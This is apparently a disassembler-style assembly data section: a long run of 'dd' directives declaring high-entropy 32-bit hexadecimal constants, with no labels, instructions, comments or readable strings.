		dd 583082A8h, 0F610211h, 686EEA34h, 0BCF04442h,	0AF7920B1h
		dd 941EA918h, 314E9303h, 6521A991h, 60A1E454h, 0B3775B6h
		dd 1A897E91h, 0B1F36400h, 2C9EED1Bh, 0C0E11363h, 25A5E8B0h
		dd 7C24E6E9h, 1140A8C1h, 7E071688h, 0C9F52AE9h,	5F3D1200h
		dd 0E3786C18h, 0A401A54Fh, 0B699A968h, 28ACDC39h, 0AF69FF00h
		dd 975F431Ah, 39C6002Bh, 0B9E642EEh, 0A498186Ch, 62027746h
		dd 768B1301h, 0DC126C47h, 8626AF00h, 1DA7543h, 73A9488Fh
		dd 3332EC15h, 0FC9502D0h, 0C7133888h, 6344C484h, 402FE74Eh
		dd 33FE7503h, 0B06898CFh, 64BEE4h, 0C4B8B90Ah, 8F093B32h
		dd 40185E3Fh, 2A974370h, 10BC308Dh, 1488E1C4h, 74C43BE5h
		dd 650211CBh, 6753C498h, 0C29DAE2Fh, 0F22A7DE1h, 0F54B00CCh
		dd 0D53458BAh, 0D018E86h, 9DB38471h, 31D02716h,	26CC32BFh
		dd 285A19C0h, 1CBAD620h, 11FC93h, 69208C56h, 4C924F9Eh
		dd 31BB7000h, 13DC8F7Fh, 79C62559h, 94433404h, 298F80ACh
		dd 0B09441C4h, 0B04676h, 4AF8CBB2h, 0B4AB3D95h,	902314D4h
		dd 0E7097623h, 0B0500585h, 21589062h, 0D485EF2Fh, 0B828BBADh
		dd 2290978Bh, 0BF44C480h, 48F48026h, 0AB58EB1Eh, 128CD2A1h
		dd 8BC84173h, 0C71BC8CCh, 30C11766h, 9C0ED10Ch,	64A82707h
		dd 0CB7215AAh, 8014D0BCh, 0DF0609Fh, 47832D94h,	803561E0h
		dd 0A7BD0FB9h, 986659h,	0E8D5223Eh, 0DFC002B1h,	0FB63801h
		dd 13DE2C85h, 51DE9821h, 60DC73F0h, 17D3463Ah, 2789B227h
		dd 0A2A1E0DCh, 0D900DE2Eh, 820E75CAh, 0FC1394B5h, 5C04A16h
		dd 0F4C40D68h, 3A0EB270h, 0E5E9AFEFh, 0D4415723h, 0CE0585E3h
		dd 0B73CB440h, 877092F9h, 85B14FE0h, 8E055E04h,	0E8C889B0h
		dd 0DACA1EB8h, 80FDDED0h, 5642052Ch, 0D300235Ch, 0A6F641Eh
		dd 27BCA7F4h, 0B021AB87h, 0F468E20Bh, 7C0E82B2h, 0C0840FB0h
		dd 0A5A74890h, 0CC3A97D1h, 71C2A840h, 0DE2E94E0h, 0B8A00862h
		dd 1701EF46h, 0DAB6E5Dh, 88240CFFh, 5D001F74h, 0A7DABE7Eh
		dd 9E74097h, 44C7059Dh,	0A2D1E051h, 0D005518h, 0C08C9189h
		dd 2767EB0Bh, 9C81DB33h, 4813E93Dh, 0F2063B94h,	37DF0366h
		dd 514E0091h, 0D0A177Fh, 3F5D2BF8h, 87473CE0h, 0C6058649h
		dd 0A05BF430h, 64624CF1h, 945C00D6h, 15AF7983h,	0A7F03654h
		dd 84C44Dh, 0C6CF5CE5h,	95ABA1BCh, 0AC568004h, 1A457224h
		dd 0B4605DD9h, 849116A9h, 3EA880EAh, 760123AFh,	6D792BB6h
		dd 1C58586Bh, 81B8805Bh, 0E74110C0h, 0A04971A5h, 25F6C8A4h
		dd 84E5DA12h, 0BA60AEE4h, 0B7138D5Ch, 0F401EF7Ch, 1D7051C5h
		dd 18F8A040h, 1D9DDBh, 94805891h, 0C9CD23FFh, 0B5ADE308h
		dd 40651EC8h, 0A96F5CBFh, 0A54E5DC4h, 600DDC02h, 6A4414Bh
		dd 53ACC20h, 6CFC2AA6h,	75B00762h, 19A54120h, 6A488925h
		dd 3F6C0159h, 5C24A2B7h, 9B5D03D0h, 0A0B1D4A8h,	82355813h
		dd 85C090B7h, 7565B003h, 76CF0F00h, 0BAB8070Bh,	0B1F87Ah
		dd 0BE461F5Dh, 0D0501C5Eh, 2C587471h, 0E4730018h, 61748D2h
		dd 16FCEFh, 4066BC0Fh, 76BAB5F0h, 6D01E8B3h, 6E8B1201h
		dd 0DD882818h, 24010075h, 0DCAB6022h, 3604445Dh, 0FFA956Eh
		dd 1AE244A2h, 259CD730h, 9476956Ch, 95D04225h, 0C4531050h
		dd 32012901h, 3C1CD4B7h, 87A509DCh, 0C53C3053h,	2F9C30CCh
		dd 0BFCE5020h, 7A1D7114h, 4FC8E120h, 0A7103318h, 88261B78h
		dd 6F994074h, 2500A239h, 1FB576E8h, 0A86696h, 0F04101E6h
		dd 0C36DB91Dh, 0EE3BBA0Ah, 50249416h, 72F4674h,	0B6C9FE5h
		dd 7DE8C2B0h, 129698F9h, 0E22B2997h, 4D0CC058h,	9ACAB0Ah
		dd 0DF074A77h, 0EC003872h, 15B4B540h, 0FC3CB042h, 20934C18h
		dd 0C0B83805h, 8874CE62h, 803CC444h, 83AFC36Ch,	0F888424Bh
		dd 51EC17A9h, 1D9CB787h, 0C884B93Dh, 0BCE488F1h, 0F8260048h
		dd 4F404380h, 8C991F02h, 0F91A6D80h, 0C75D91h, 2F1D1EB9h
		dd 0B815A2C3h, 6103277Fh, 5E738885h, 0EA588808h, 0D02B5E8Ch
		dd 9C42C97Ch, 382FBA02h, 48BE34DEh, 123DDACh, 88793EFh
		dd 0E03E4BC1h, 6E1552D2h, 58C165Eh, 37817CA5h, 58F284B2h
		dd 918830h, 1D15C6D7h, 0EB62EA95h, 1904662Eh, 0E9DF060Bh
		dd 447C9D58h, 61E50B02h, 44BA977h, 0BA8B80A0h, 586EC305h
		dd 4CF47F87h, 0E0B44818h, 8C1ABCh, 1DF8854Dh, 1EF593FDh
		dd 4676C4BEh, 6ECB26AFh, 22D3009h, 41F214A0h, 0E470E540h
		dd 8464BC2Ch, 96299DE8h, 6F1728E0h, 383BB64Ah, 0C0F4423h
		dd 0FC4625E2h, 0A4009852h, 6E24FF16h, 19FA1D9Dh, 0E9B809E3h
		dd 194E003h, 82B930B1h,	53114DB8h, 7968D115h, 1E6B181Bh
		dd 0B976C1D5h, 0FAFE0C82h, 98769DE6h, 0A966DD60h, 432A2279h
		dd 0F1096D00h, 0B90A69A7h, 5FB0384Dh, 81619531h, 8A8E44Eh
		dd 58C83C4Ch, 9213868h,	8ED0B9ECh, 420733Ch, 38EB2D7Ah
		dd 0FFBDD9DDh, 0E69BC982h, 844235Bh, 0C12D88B0h, 183759h
		dd 0B9E07B10h, 9B8A51AFh, 54F3C8CCh, 89AE0106h,	0F1ADE89Bh
		dd 2738393Dh, 2F04661h,	6253ABC3h, 0F84C2522h, 465E549Ch
		dd 3D680B24h, 9398B1E2h, 0F539E940h, 6CCB044Bh,	0E9B6810Dh
		dd 3947AC24h, 5A82EA62h, 5CE0C58Bh, 0E420E509h,	0BD82601Ah
		dd 0B12B2432h, 8ECD8090h, 17D4587Eh, 90B6C10Bh,	24512Ah
		dd 3CD9D6E1h, 0A03DB793h, 0B9D5036Fh, 0C93E1720h, 34601DA8h
		dd 984B48BFh, 2215A41Eh, 57714091h, 59037A18h, 91FFBED9h
		dd 0DC91C7CAh, 0A98EAA29h, 37A39921h, 6DA8A39Eh, 9103800Eh
		dd 51955802h, 7098B4FDh, 0F184B0EDh, 8007C6Ch, 0AC87F29Ah
		dd 0D5049691h, 0D1D39219h, 58F2E0E2h, 23EA530h,	69659E4Dh
		dd 6876C981h, 9301B860h, 48289114h, 18465CD4h, 9EB8D1Fh
		dd 1C85C754h, 0E24C9129h, 645CE533h, 0C6E213A0h, 8CC5B44Ah
		dd 305B3022h, 1713016Eh, 7CCB568Bh, 176D800h, 0C6BC8E5h
		dd 9317F3Ah, 0D855D4ABh, 6D840450h, 0ECFB8B4Dh,	2F1DCF88h
		dd 7844CC0Dh, 0BDAD0008h, 0EDF19251h, 183CE432h, 0D8DCD52Ah
		dd 0C283620h, 0EE00C25Eh, 2FEB3731h, 13F03B59h,	0F02368BCh
		dd 0CB0411B0h, 837690C1h, 30F028A5h, 5BE20032h,	40AD917Fh
		dd 7C09A6CAh, 19ECEEFh,	589B15E6h, 0C4358054h, 29F2A4B2h
		dd 0D1430h, 31D0A73Bh, 0FE564832h, 0E5DC189Fh, 0CB052195h
		dd 602F0313h, 8C094423h, 48E40273h, 0C4AB0152h,	10036E75h
		dd 0EE10C658h, 0E47CF518h, 1B30F6BDh, 74510511h, 0A8D5E7E1h
		dd 0F3AA0054h, 6A774112h, 2F0B476h, 60E43B32h, 4202387Ch
		dd 0C726A356h, 60AE44B0h, 93F43Dh, 202BD06Eh, 0A961E090h
		dd 0A0F1BC13h, 2ED2ACF2h, 31B23B0h, 0F26894D2h,	0AD8002DDh
		dd 0C4893205h, 3CA41CF1h, 99F300DEh, 5A79C93Dh,	20043C5Dh
		dd 0FF742F2h, 0A880DC9Bh, 1E610D2Fh, 39E50A13h,	70488C09h
		dd 0E0E88DA8h, 0D229D130h, 5A81AE12h, 20811065h, 8441E151h
		dd 0ABFCC25Fh, 85AF13C5h, 9474019Ch, 4E341613h,	0CA5C888Ch
		dd 0D11B02B6h, 3AE0A0E0h, 8F7E680Dh, 9702461h, 0D1E176ABh
		dd 4AE072C6h, 0EB18C0A4h, 0C00A086Eh, 0D03DC29Eh, 2DC3DA7h
		dd 4B45A99Dh, 70467064h, 18016302h, 18F17E8Bh, 16BD360h
		dd 73DD00BEh, 223A99BBh, 7B5034B9h, 4524BC96h, 0B0250BAh
		dd 55873Eh, 0F1896923h,	8126BC98h, 35AF28ADh, 4ABD8094h
		dd 2CADF518h, 2085348h
		dd 0D8A7444Ch, 0EE2C7E27h, 0E0730E09h, 0B41658h, 25176463h
		dd 0D3563088h, 4069BF09h, 1FFC0036h, 0B5E9F271h, 0D2788080h
		dd 0B9780477h, 50E09656h, 58C1AFCh, 33E6AD5Fh, 0C31CF264h
		dd 0B3AD7679h, 0D8D2E8A6h, 6915149Eh, 3C072098h, 7A9066F0h
		dd 68C70508h, 0B468B825h, 0B6ACF4ACh, 18101D8Ch, 0ED843C3h
		dd 0F7F01BE8h, 2125BCAEh, 0A85CE8ACh, 0C02C5968h, 0F4008FE8h
		dd 0FB3D256Fh, 995C6276h, 18B0798Ch, 29FE0151h,	0B8C59402h
		dd 143B6F43h, 853D2723h, 0B58F4D59h, 6504FCACh,	0F9B699BCh
		dd 1AC5ACDCh, 0B01AF28Ah, 0D2E1F84Dh, 25E878E1h, 0E3900E24h
		dd 61E01C95h, 0D432C714h, 5882DD4Eh, 0C048EDB4h, 2E96DAC0h
		dd 3E6B9400h, 4361ECABh, 8B90B336h, 0C73027Dh, 6D0958h
		dd 65A8E9EDh, 4AFF838Dh, 0E73E1D0Bh, 89C8104Bh,	0A09246h
		dd 0D29CDE9Bh, 0EA9ABB66h, 29F6A492h, 0B54BE0F2h, 2823D02Eh
		dd 0DD612B00h, 3F228BC0h, 0DF1DF5BCh, 0C25601D5h, 0E4857306h
		dd 0B0E8AB9Ch, 3E4C440Eh, 1A1520F3h, 3A2E0895h,	0C77F9442h
		dd 0F036D721h, 4BEE6FACh, 76F5A31Bh, 868FC818h,	2DDC0053h
		dd 3948EB7Bh, 1201BE02h, 4FEBC85h, 28BCABADh, 670CC600h
		dd 396C4D1Bh, 0AFF2700h, 573310EEh, 0B67813EFh,	0C885071Ah
		dd 64784C07h, 7FCACE00h, 0B461E8B9h, 8D866C1h, 0B038502Fh
		dd 72CA80C6h, 0FAB231CDh, 0DA8C006Ah, 0B66F8A28h, 0C918424Bh
		dd 9081B3ADh, 396B0EEDh, 81611E29h, 0D138C631h,	752180BCh
		dd 53D46BF5h, 40E2EDE4h, 1C271961h, 0C009BFD9h,	0A96328Bh
		dd 721528F2h, 80A08085h, 15ECF33Dh, 22944342h, 35FA84h
		dd 0CBD4B8F3h, 651BEEACh, 6DC1DF00h, 3684DC27h,	0B330114h
		dd 8CB67B4Ch, 60612013h, 63879A24h, 2C280A00h, 0A08D15AFh
		dd 0B1277E0h, 14EB89EDh, 389D8606h, 0F883BF3Ah,	31A0316Eh
		dd 0EDF34080h, 0F0AC2A15h, 0D98A44h, 4118F338h,	4BFF1B14h
		dd 29B950C1h, 0F89DB5D1h, 46D0E812h, 0CA3E7F38h, 1180A37Ah
		dd 0C9C5002Dh, 0F929EBCAh, 0BA25011Dh, 0F232A582h, 392AE415h
		dd 6CA3E0C5h, 9123A83Ah, 95DEC800h, 1D9FF2Fh, 3DB7F676h
		dd 8233AEE0h, 79AF2958h, 1498805Ch, 3085F696h, 0D8106D7Dh
		dd 2B301B12h, 771CE833h, 6AE40049h, 8F74E376h, 941D522Dh
		dd 4DCA1D83h, 46567C20h, 0ED30003Bh, 0C357DB37h, 998D0256h
		dd 0A0AD2993h, 3B14A880h, 80C0894Fh, 5F5119BDh,	2BB4A037h
		dd 188F609Bh, 0B1345C93h, 8BF4FB12h, 7F65B840h,	314CF47h
		dd 0C98265Eh, 83A32876h, 87462100h, 324E4847h, 0B96701DAh
		dd 6D19BB45h, 337885C4h, 2820F1B1h, 23C54779h, 71116E14h
		dd 47814C00h, 431D94E3h, 4983260h, 50F2D116h, 0E4AFB45Dh
		dd 2DCCA896h, 0A6900C8h, 422B4E6Bh, 0CB09C13h, 0C484F92Ah
		dd 0B4AF863Ah, 0B8003198h, 115C6D9h, 9B0702D7h,	0C7424A87h
		dd 0F304DC4Ch, 0E293F6Bh, 7720C762h, 56BFBh, 27E00B93h
		dd 0B4822C1Bh, 20433736h, 1DDA4650h, 29846BEAh,	0C43238F6h
		dd 6BF27220h, 0A8C97F76h, 0FBF9E8h, 98EF7D9Fh, 0CCF30957h
		dd 884A7200h, 6F48F42Ah, 0A2F010Ch, 0E86A19BFh,	0F5B45235h
		dd 5E82DF32h, 0B4B14E14h, 85481079h, 0DA580147h, 2A9F2417h
		dd 12BAC873h, 76F4EA1Dh, 98B9D702h, 11689761h, 999680BCh
		dd 0F768F14h, 0FFD21CB9h, 60DCC2CAh, 0DEF0F2AFh, 0BD842F3Fh
		dd 0B5DF057Ah, 1895666Dh, 8207D06Eh, 90FD6ECBh,	0F9B7FAE9h
		dd 283FBA73h, 587AB0BFh, 51E2D8AEh, 848DFC08h, 2271CD3Ah
		dd 3392F260h, 0D8613CC8h, 0FC48D600h, 0E3961007h, 35E53FD2h
		dd 0DD224300h, 9F4A273Bh, 0C1565C00h, 0D378445Dh, 0FA1A0074h
		dd 2B358D60h, 0D741B92h, 784DBF24h, 1C25F400h, 789F43AAh
		dd 4600B214h, 0F3097E82h, 9C3215EAh, 0EA98B0h, 0CD81CF3h
		dd 9382D0E4h, 9127372h,	0CC14A9A5h, 62AE0B5Ch, 67041A0Dh
		dd 67304488h, 3A9F3DF0h, 0D993008Bh, 3127DCCCh,	68D6B84Dh
		dd 35139E06h, 0C8F76460h, 0F3426083h, 3A1514EFh, 0EBB3B494h
		dd 28B3F3E3h, 728B9CC8h, 5E628700h, 1D1E2E5Fh, 2B5803EFh
		dd 94822D80h, 659AA093h, 183BA061h, 7BCA1EC2h, 3511A3B9h
		dd 0CADB020Fh, 0D16FE6C0h, 349854C6h, 9D72B09h,	78100983h
		dd 0D270A0FBh, 8F2E00C9h, 0D64659E1h, 3463C6CAh, 0F0B8A849h
		dd 398A934Eh, 2085740Ah, 0C018D35Ch, 21EE73DBh,	13A3011Fh
		dd 0A0CF6070h, 0F9168080h, 144C9A49h, 239474DFh, 0F33F0086h
		dd 951215EEh, 0D6608091h, 97F337h, 680927FEh, 6967178Bh
		dd 4CD42D02h, 61736B6Dh, 22CAB98Ch, 50CCF7B5h, 0F4462090h
		dd 0C4477804h, 8B1CC414h, 804500FCh, 0F3B8F247h, 0C5841EADh
		dd 88148D55h, 0C7306021h, 19B9FCA8h, 8B38924h, 0F7402D1Fh
		dd 5631910Bh, 705A0538h, 8B33C8B1h, 0C082C83Ch,	0E72A3DE6h
		dd 56906302h, 53916453h, 719CA93Ch, 38C1887h, 0B593792Ch
		dd 48297E31h, 18A6DC22h, 1CBB4674h, 830098F5h, 0DBFED979h
		dd 7D320A27h, 2CF8B13Ch, 8A467448h, 27AA4F01h, 41BB741Ah
		dd 229107B8h, 93C23E4h,	0C584CAC5h, 0C06CA2E0h,	0AFCADE01h
		dd 2B480302h, 0B34D1E46h, 0D864C1C2h, 97083516h, 6C609856h
		dd 599DFDCh, 492144BFh,	8872C048h, 54C52BAh, 0D35E045Ch
		dd 70800302h, 969A2F1Ah, 845520Ch, 146191C4h, 0ECE9D0CAh
		dd 59FBF700h, 31BF2DFFh, 2C340237h, 952DBB0h, 852CF451h
		dd 81D54130h, 5B4005Ch,	238ACB4Bh, 7CB99B0Ah, 4CC0F210h
		dd 0A3E5BF0Dh, 939E1606h, 806ABh, 8F824338h, 50BF156Ah
		dd 0B4E84400h, 20A102D1h, 0C5A41C69h, 493AC0B0h, 53501AAFh
		dd 0EE91901Fh, 1877700Ch, 0FC14184Bh, 554AC8B9h, 0FB77C00h
		dd 0A2F7E479h, 83010391h, 351E6450h, 2F36AF8h, 48330430h
		dd 304B4382h, 4C892A37h, 0E80ABF10h, 549DEEA3h,	6D073D91h
		dd 4092BF18h, 0B01A8BF7h, 0A2733503h, 9181DD2Eh, 28834404h
		dd 4C58232Ch, 0CC4DBAF1h, 3D66C230h, 215608h, 0CB4C5005h
		dd 835FF389h, 406444A5h, 3C054860h, 0D77851C0h,	60FDF0h
		dd 9BE7AD5Fh, 0B5A1866Ah, 947A7028h, 0BF8E5800h, 2E9D8D61h
		dd 2FC3DBAh, 7A1698D0h,	18B060A8h, 44BEFD89h, 25CC80h
		dd 63B7C9B8h, 0ABFA83F9h, 689E4600h, 3782C214h,	7791C02Eh
		dd 86FEC9C3h, 0FD7F2805h, 0B428112Ah, 8A78C50h,	9C803491h
		dd 8183FC13h, 0E9570330h, 7A7163h, 90E32852h, 65C0A993h
		dd 0EDE2F009h, 0D73600E7h, 0BE80B0h, 569582FCh,	162CB57Ch
		dd 6045EA4Ch, 84776F60h, 0C89F455h, 710E7E27h, 21C0A408h
		dd 0E9847FD2h, 3B3D04C0h, 0C0589E6Eh, 128D5F11h, 29C094F8h
		dd 7E4C90D6h, 987B00C1h, 89272469h, 0B014145Ah,	58A8B261h
		dd 64120A90h, 0A1028420h, 809B6CADh, 0A40207C8h, 0A718C047h
		dd 40579FC5h, 4E0001F8h, 0E46B9880h, 22BE37Ch, 618FA178h
		dd 49C03116h, 4F60B412h, 88C5A338h, 0F350C392h,	2295EC22h
		dd 0A3051B8h, 0A3E608BFh, 6B589DFEh, 0DDBF0012h, 0B478A515h
		dd 0BB01C28Eh, 0D9BC36CEh, 0A8402101h, 8955E4A1h, 8711814h
		dd 79165784h, 0CC4FA6C4h, 7F388480h, 8EE4A0B5h,	8CCDA30Ch
		dd 60E9B8A9h, 4B092997h, 0A600A474h, 0DFD0D22Bh, 0E8F9BC8Ch
		dd 8A5A107Ah, 33B6008Fh, 7C571B7h, 830F0567h, 200B727Eh
		dd 7A8F6890h, 317F5B30h, 1E9E5A2h, 50E3090Ch, 98D30147h
		dd 40219808h, 49E907DDh
		dd 903D6F23h, 46054F18h, 8B8240h, 76CB732Bh, 74ABB162h
		dd 0C2FAC57Fh, 209ECF00h, 261C53E2h, 517E60C6h,	131B145Ch
		dd 0A8E0F27h, 700E04FAh, 2924690Dh, 811C07B8h, 80E191C8h
		dd 0BA774C54h, 4A448C6Dh, 0F6C4FF09h, 0B040033h, 12A990FDh
		dd 0FCA01F24h, 4828C5EDh, 8360ACA3h, 0D8146291h, 7090677Dh
		dd 6D5E03E9h, 0C0486190h, 2CBA44A0h, 50436628h,	11A34521h
		dd 4C5580E2h, 8C65BA78h, 64F44h, 9EDC4C4Dh, 0B1BF915Ah
		dd 75E7501Dh, 6C91E0FFh, 220164h, 71CF36F8h, 3F1E0EDDh
		dd 4F726317h, 28BE3A00h, 6A9A14BAh, 8A89036h, 7C3F9621h
		dd 0A9F1C730h, 1205426Ah, 4D45E40Ah, 4144B5A4h,	247D39A4h
		dd 0D1043C2Ch, 2D07AF5Bh, 83217890h, 0EA8C286Eh, 581448ACh
		dd 4DC860Ch, 0C0C2C21h,	113E4C01h, 9E0E1DA3h, 3B9C249Fh
		dd 79AB7180h, 0F35560E1h, 0A8A22F24h, 4631589h,	0EA607F40h
		dd 9230DE9h, 8B11BBh, 0C3E9E23Dh, 1FA59EB8h, 0A86DE0C2h
		dd 5318EBBCh, 0BA764C08h, 4E4BC475h, 4600B308h,	74F372CCh
		dd 36052A34h, 0C024E8A0h, 451BE3C9h, 701A776h, 0BDCEB606h
		dd 0EC24A234h, 6AA8161Ah, 0AB6800D7h, 0CB4EF4ACh, 412AE1Dh
		dd 4100B068h, 2B36C180h, 5F7B32h, 93BAC3E5h, 1AEBF663h
		dd 0CA2FE018h, 0E804BE40h, 7458CCF8h, 9205E828h, 6606A719h
		dd 3F88788Eh, 0BC9CFDC0h, 5BF2320Ch, 5D2E81D9h,	80284C14h
		dd 0A3E9BF11h, 6E0087F6h, 45E7BF19h, 0C484545Ah, 0F6141C92h
		dd 428FBDB1h, 0EAAF1367h, 8BEDDD60h, 4C52FA6Bh,	3034E25Ch
		dd 490FFC09h, 62A24590h, 2C92E9h, 0E5DC5241h, 0ADA9B70Bh
		dd 8074AF10h, 34C423C2h, 0E83E616Bh, 9F4AA08Fh,	3AC6A12Ch
		dd 0A0403107h, 829FD5D4h, 0C6C18C82h, 0FA4878C0h, 0C5A0B03h
		dd 98B8DD8h, 0A06E4320h, 7820A608h, 908CC1A0h, 21846F4h
		dd 16538475h, 10A53199h, 847DD0h, 3D9248E1h, 6A39BD0Bh
		dd 3AFF609h, 4954203Bh,	2E7B769h, 0F2218519h, 0C0A08759h
		dd 9E3D64F0h, 0FE08CC00h, 49A3A278h, 4F060AE2h,	314C326h
		dd 42A89862h, 0F8BC5107h, 0C0436CAEh, 18D96934h, 8B587400h
		dd 127804C8h, 0EC8C2159h, 0B06E3FC7h, 0BC8EF383h, 0B1A0DFF7h
		dd 751D9937h, 0D5845213h, 3885B8C1h, 0AC049084h, 0A0C88965h
		dd 496BE698h, 4D235468h, 0EABF0E01h, 404ADEA3h,	0BF166F00h
		dd 0D766797Eh, 74A1CA00h, 91971205h, 1000B88Dh,	0C9E8CB5h
		dd 70304FFFh, 11C9BDCh,	0BA724C57h, 8ED83355h, 2E4CA004h
		dd 0F67127h, 420FFE22h,	76EABC13h, 9A51DF1Bh, 1283C9C8h
		dd 8C048429h, 0A43645B6h, 9A7C7800h, 0F44C0805h, 8420AE80h
		dd 86A2D1B8h, 586AD520h, 2108814h, 0B81A0228h, 28A22344h
		dd 4E465460h, 4A7FDF0Eh, 483CC100h, 24003DA7h, 94164607h
		dd 9B7D8F67h, 0E9E801C8h, 18CB090Fh, 0E03B888Eh, 5BDCE907h
		dd 0C811EF0Eh, 7BE5B048h, 4B19C88Ch, 8B4011D8h,	36530D10h
		dd 33904864h, 10E0220h,	8090A53Ah, 0FE407ED4h, 0A0949293h
		dd 16B96518h, 21ADABE8h, 190D2D8h, 4AFE1183h, 79505170h
		dd 2FF183Eh, 2A074556h,	3C5024DCh, 8DFCB517h, 0D919B870h
		dd 8BD30192h, 0E015FFBh, 8481F10Ah, 0E62D3AC0h,	0B9410B0h
		dd 0CFD3FF1h, 0A698A021h, 0B1E98045h, 4B02DF1Ah, 710A1BFFh
		dd 8E4F08Eh, 0B0988AA1h, 0E300BE90h, 21B5095Bh,	0AF633661h
		dd 0EFC28EE9h, 0FD886EC0h, 78F76FD3h, 38ED417Ah, 0CBEA15C1h
		dd 4C55DE70h, 6D804004h, 32A1BCBFh, 9DD8C904h, 0EA463E5Ah
		dd 0CB00419Bh, 7D76C829h, 707A7004h, 1642C326h,	2C5C5C0h
		dd 12BB11FCh, 449978A9h, 0B00B1852h, 961CB234h,	136C5028h
		dd 0B72BF60h, 29A1B14Ah, 0A3DC0573h, 78D15828h,	7CD5BE03h
		dd 1A419DFh, 489EC2B0h,	47F37017h, 76C0C8A8h, 46165484h
		dd 7AA222A1h, 2F841CD1h, 0D6BF438Eh, 0AAC71F4Bh, 530C11ECh
		dd 0C0B8A7DCh, 0D335242Fh, 73F82B51h, 34BC0448h, 0C921270Fh
		dd 51D3008Ch, 89A77398h, 0C625Bh, 534FCF81h, 3413B2Bh
		dd 0C6BA9850h, 0A3A91210h, 44581648h, 4A3036B7h, 0BE251847h
		dd 0F649C780h, 0C09D4BFFh, 0B000463Dh, 2E61E8FCh, 0E504C129h
		dd 7F98BE43h, 0BFDCBC80h, 0E0AE3341h, 0E2F4DE11h, 303FF28Ch
		dd 4003618Eh, 0BE26672Ch, 83B90C89h, 7E292B0Fh,	3438112Eh
		dd 0D5E01640h, 0BEACA97Dh, 0A7A2A823h, 61A69F30h, 0A1AF1888h
		dd 80AAF9CDh, 8C4B2DC8h, 9193EA82h, 1833D158h, 386DF850h
		dd 0BA05BCF4h, 0F2F9734h, 0F5C696D0h, 0E900B88Ah, 0B08F2DEAh
		dd 2641EDABh, 5EEC688Bh, 0E0779546h, 67DC00D0h,	0AFEEC537h
		dd 7D7D4213h, 0FA7B3302h, 517395B9h, 18407928h,	0AE29099Bh
		dd 0C8C08C44h, 57406402h, 0C0B61843h, 0E822197Bh, 0B82501E9h
		dd 463844E2h, 4C5A02DFh, 0C73DBA75h, 5203007Ch,	5F629B4Ch
		dd 2B80081Fh, 0C965DD40h, 0B89D31F8h, 72A90450h, 0B416832Eh
		dd 0F270107Ch, 0A88D3801h, 0E2587759h, 41B60CF0h, 0A2506344h
		dd 0E694303Eh, 17842E5Ch, 0BE13F0D6h, 84303804h, 6D809A48h
		dd 85B6F807h, 5744Fh, 0DEF4EDE2h, 0D9B92583h, 2A9F0901h
		dd 48D2DBB7h, 0DE232C33h, 744C5901h, 0AC6845BAh, 4C5102B0h
		dd 735941Dh, 31011824h,	7E5AEC1Ah, 0A0A27C33h, 0B86A30h
		dd 145C390Bh, 320CBA12h, 0B1128CB2h, 4408651Dh,	0E9E4C079h
		dd 0EB4F090Bh, 3F382Ch,	0F374E9DCh, 0F7225D8Dh,	0B5A21505h
		dd 98489AF4h, 38A4809Eh, 27D3831Bh, 9B4AC400h, 30BA80E5h
		dd 5B6618DAh, 91E03819h, 4D67A780h, 54B82883h, 0C80AB632h
		dd 0E9E6307Bh, 0DB460971h, 411F8D22h, 3F97E9DEh, 264C6801h
		dd 0B436AA98h, 7404FB22h, 0BB0A3FF4h, 2CA250D4h, 0E730A7F2h
		dd 406C00D4h, 0F76908E6h, 1CB8BE7Bh, 0F5B7D306h, 0B997AA9h
		dd 1DA81650h, 0FF10C040h, 0E82D4E26h, 0E584674h, 76DBE8D8h
		dd 82811008h, 0C92666B7h, 9C8150E4h, 0E2E9187Eh, 0C3092310h
		dd 3C009711h, 0CD99E9E1h, 94782338h, 6EB3EA01h,	0DCF41B5Ch
		dd 0DEB92478h, 1FADB330h, 16C8D064h, 99980801h,	93C17980h
		dd 0C012C725h, 1F0E5C81h, 0B8B3B246h, 25E4F681h, 29877BBAh
		dd 49880207h, 6884FCC1h, 8C99BCACh, 0D8061D03h,	0C4C8E2BCh
		dd 57ECA0B1h, 0FE8B437h, 0F495FC40h, 78A7D053h,	0F5FDB8C0h
		dd 0D36801B0h, 1AB12A3Ch, 3BC3404h, 0FC24354Ch,	0CE008C4Ah
		dd 246A47F1h, 408837Bh,	98C1BC1Ch, 0C37498ABh, 0AA302841h
		dd 6ED94EBBh, 6345009Ch, 0A4749C4Ah, 943F70B5h,	0B78E852Ch
		dd 5AE4D1EDh, 0A5B05092h, 0D300661Bh, 78B65661h, 0B93C9Ah
		dd 0AB3F06B3h, 6412BB82h, 0F9842350h, 16222731h, 10364F43h
		dd 0E4BF0C02h, 11C0EA3h, 0B5BF1469h, 0C9151A8Ch, 0EDE98B25h
		dd 90B7DCh, 6C56B0Ch, 6A017451h, 34C213F0h, 589340D7h
		dd 9828805Fh, 2C941BAFh, 0E58467Ch, 0C4C821F1h,	0B0B4C616h
		dd 0A8221409h, 15148855h, 5C3E0CB6h, 647D4696h,	23943ACCh
		dd 420F1D3Dh, 0A5987144h, 0C2001044h, 74E8F2D2h, 0BE70E78h
		dd 2A6114D1h, 43362402h, 0EAD51F00h, 3A83014Bh,	102814BEh
		dd 136F056h, 48F36B1Fh,	465ECC6Ch, 1EF003Fh, 0A3AFC0BCh
		dd 0A29C34B5h, 774A2F0h, 6EA04A6Dh, 0E7D3F400h,	9FF50E96h
		dd 0C1C00F4Bh, 0B08EAE53h, 23409FAh, 0C80D147h,	80445C0Ah
		dd 19C35303h, 0E08C8B6Bh, 1E5A4912h, 0C07ABA2Dh, 4448F7D2h
		dd 51E0E93Bh, 5120B13h
		dd 0B43EC8C4h, 1143223h, 0DD8A00D9h, 2069AB1h, 0F8924Ch
		dd 0C644B07Ch, 9308F168h, 32E95004h, 0D37E92h, 0D0085075h
		dd 720F8C15h, 0D6165884h, 3FCD4038h, 7700847Ah,	0DEC704D2h
		dd 0CC59ADA1h, 7C542EBCh, 1A035000h, 5EDB84B0h,	23EC3AA2h
		dd 94611457h, 21DF4009h, 3041E8E2h, 600FE62Fh, 9850137Bh
		dd 0D45A4C5Bh, 418D2780h, 0E41F84BFh, 296D0D40h, 11A81D44h
		dd 4ED880A6h, 14B53DAFh, 34BD2633h, 4C12A905h, 0CEDC2454h
		dd 0C09A8808h, 1A719BD4h, 9740A7F3h, 803891C8h,	8B6A4C9h
		dd 4A1A000Ch, 0ADA25E16h, 0B0946FE4h, 0A83DE08Dh, 40F26872h
		dd 0C2D41C31h, 71E024EBh, 0C58D09C8h, 12467C52h, 59847302h
		dd 1C6916h, 20847BCEh, 0B71AF524h, 0B18F2205h, 4CA1638Eh
		dd 97B81478h, 8817008Ch, 0F3E88074h, 700C3F02h,	0A02EC6FDh
